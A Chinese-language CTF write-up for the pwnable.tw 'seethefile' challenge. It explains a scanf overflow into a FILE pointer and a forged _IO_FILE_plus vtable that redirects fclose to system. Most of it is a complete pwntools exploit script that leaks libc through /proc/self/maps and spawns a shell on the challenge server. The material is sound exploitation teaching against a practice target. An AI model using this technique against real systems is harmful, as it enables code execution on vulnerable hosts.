pwnable.tw seethefile writeup

TOC

  1. 1. 安全防护
  2. 2. 溢出点
  3. 3. 思路
    1. 3.1. 构造_IO_FILE_plus
  4. 4. 脚本

考察的是_IO_FILE_的漏洞,靶机环境是glibc-2.23。

原题地址:https://pwnable.tw/challenge/

源程序下载:seethefile.zip

安全防护

ex@Ex:~/test$ checksec seethefile
[*] '/home/ex/test/seethefile'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

溢出点

case 5:
printf("Leave your name :");
__isoc99_scanf("%s", name);
printf("Thank you %s ,see you next time\n", name);
if ( fp )
fclose(fp);
exit(0);

在退出时没有对输入长度进行限制,使得可以溢出到后面的fp指针上。

.bss:0804B260                 public name
.bss:0804B260 ; char name[32]
.bss:0804B260 name db 20h dup(?) ; DATA XREF: main+9F↑o
.bss:0804B260 ; main+B4↑o
.bss:0804B280 public fp
.bss:0804B280 ; FILE *fp
.bss:0804B280 fp dd ? ; DATA XREF: openfile+6↑r
.bss:0804B280 ; openfile+AD↑w ...

思路

  1. 读取/proc/self/maps泄露地址
  2. 构造_IO_FILE_plus

构造_IO_FILE_plus

由于fp是可控的,我们可以使其执向我们构造的假的_IO_FILE_plus,在其调用fclose时会用到其中的fp->vtable->__finish函数指针,我们只要将其改成system函数即可。

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

# for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
# signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
gdb_symbols = '''

'''

f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)

# context.arch = "amd64"
context.arch = "i386"
context.log_level = 'debug'
execve_file = './seethefile'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
sh = remote('chall.pwnable.tw', 10200)
# sh = remote('eonew.cn', 60107)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')

# Create temporary files for GDB debugging
try:
gdbscript = '''
set $f=(struct _IO_FILE_plus **)&fp
# b *0x8048AFD
b _IO_new_fclose
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

sh.sendlineafter('Your choice :', '1')
sh.sendlineafter('What do you want to see :', '/proc/self/maps')

sh.sendlineafter('Your choice :', '2')
sh.sendlineafter('Your choice :', '3')

sh.sendlineafter('Your choice :', '2')
sh.sendlineafter('Your choice :', '3')

sh.recvline()

libc_addr = int(sh.recvuntil('-')[:-1], 16)
log.success('libc_addr: ' + hex(libc_addr))

layout = [
0,0,
libc_addr + libc.symbols['system'], 0,
0, 0, 0, 0,
elf.symbols['name'] + 0x28, 0,
u32('\x80\x80||'), u32('sh\0\0'),
]

sh.sendlineafter('Your choice :', '5')
# pause()
sh.sendlineafter('Leave your name :', flat(layout).ljust(0x94 + 0x28, '\0') + p32(elf.symbols['name']))

sh.interactive()
clear()